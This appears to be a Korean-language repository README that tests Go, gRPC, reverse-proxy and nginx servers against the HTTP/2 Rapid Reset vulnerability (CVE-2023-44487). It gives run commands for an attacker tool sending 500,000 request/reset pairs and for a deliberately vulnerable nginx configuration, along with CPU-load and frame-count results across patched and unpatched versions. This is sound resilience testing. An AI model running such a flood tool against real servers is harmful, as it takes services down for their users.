retocode/golang-cve-2023-44487CVE-2023-44487(HTTP/2 Rapid Reset)에 대한 테스트 리소스 및 공격자 도구로, Go, gRPC, 리버스 프록시 및 nginx 구성 전반에 걸쳐 서버 복원력을 평가합니다.
이 저장소는 CVE-2023-44487에 대한 테스트 리소스와 결과를 포함합니다. https://github.com/secengjeff/rapidresetclient의 수정된 버전을 사용하여 다양한 Golang 서버 구성에 대해 테스트합니다.
go run server.go
go run attacker.go -requests 500000
go 1.21.0
350% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Total time: 7.99 seconds (62562 rps)
go 1.21.3
75% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 74767, RST_STREAM = 74767
Total time: 3.57 seconds (20921 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
go run grpcserver.go
go run attacker.go -requests 500000
go 1.21.0, golang.org/x/net v0.16.0, google.golang.org/grpc v1.58.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499998
Total time: 10.23 seconds (48898 rps)
go 1.21.3, golang.org/x/net v0.17.0, google.golang.org/grpc v1.59.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499993
Total time: 8.25 seconds (60639 rps)
공격자는 실제로 GRPC 엔드포인트를 호출하지 않으므로 "일반" http2 호출과 동작에 차이가 없는 것으로 보입니다.
이것이 좋은지 나쁜지 확실하지 않지만, 서버는 트래픽을 따라잡을 수 있습니다.
# use nginx as target
sudo nginx -c $PWD/nginx/vulnerable_8444.conf -g daemon\ off\;
go run revproxyserver.go
go run attacker.go -requests 500000
go 1.21.0
200% CPU load during the full attack
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 25
Total time: 9.43 seconds (53014 rps)
go 1.21.3
150% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 100194, RST_STREAM = 100193
Total time: 4.36 seconds (22955 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
서버 로그에 이제 😎가 포함됩니다.
2023/10/25 14:45:54 http2: server connection error from [::1]:60762: connection error: ENHANCE_YOUR_CALM
sudo nginx -c $PWD/nginx/vulnerable.conf -g daemon\ off\;
go run attacker.go -requests 500000
취약한 구성 사용 시
100% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 478609
Total time: 8.13 seconds (61484 rps)
기본 구성 사용 시
34% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 1432
Total time: 7.62 seconds (65588 rps)
Nginx는 많은 프레임에 응답을 중단합니다.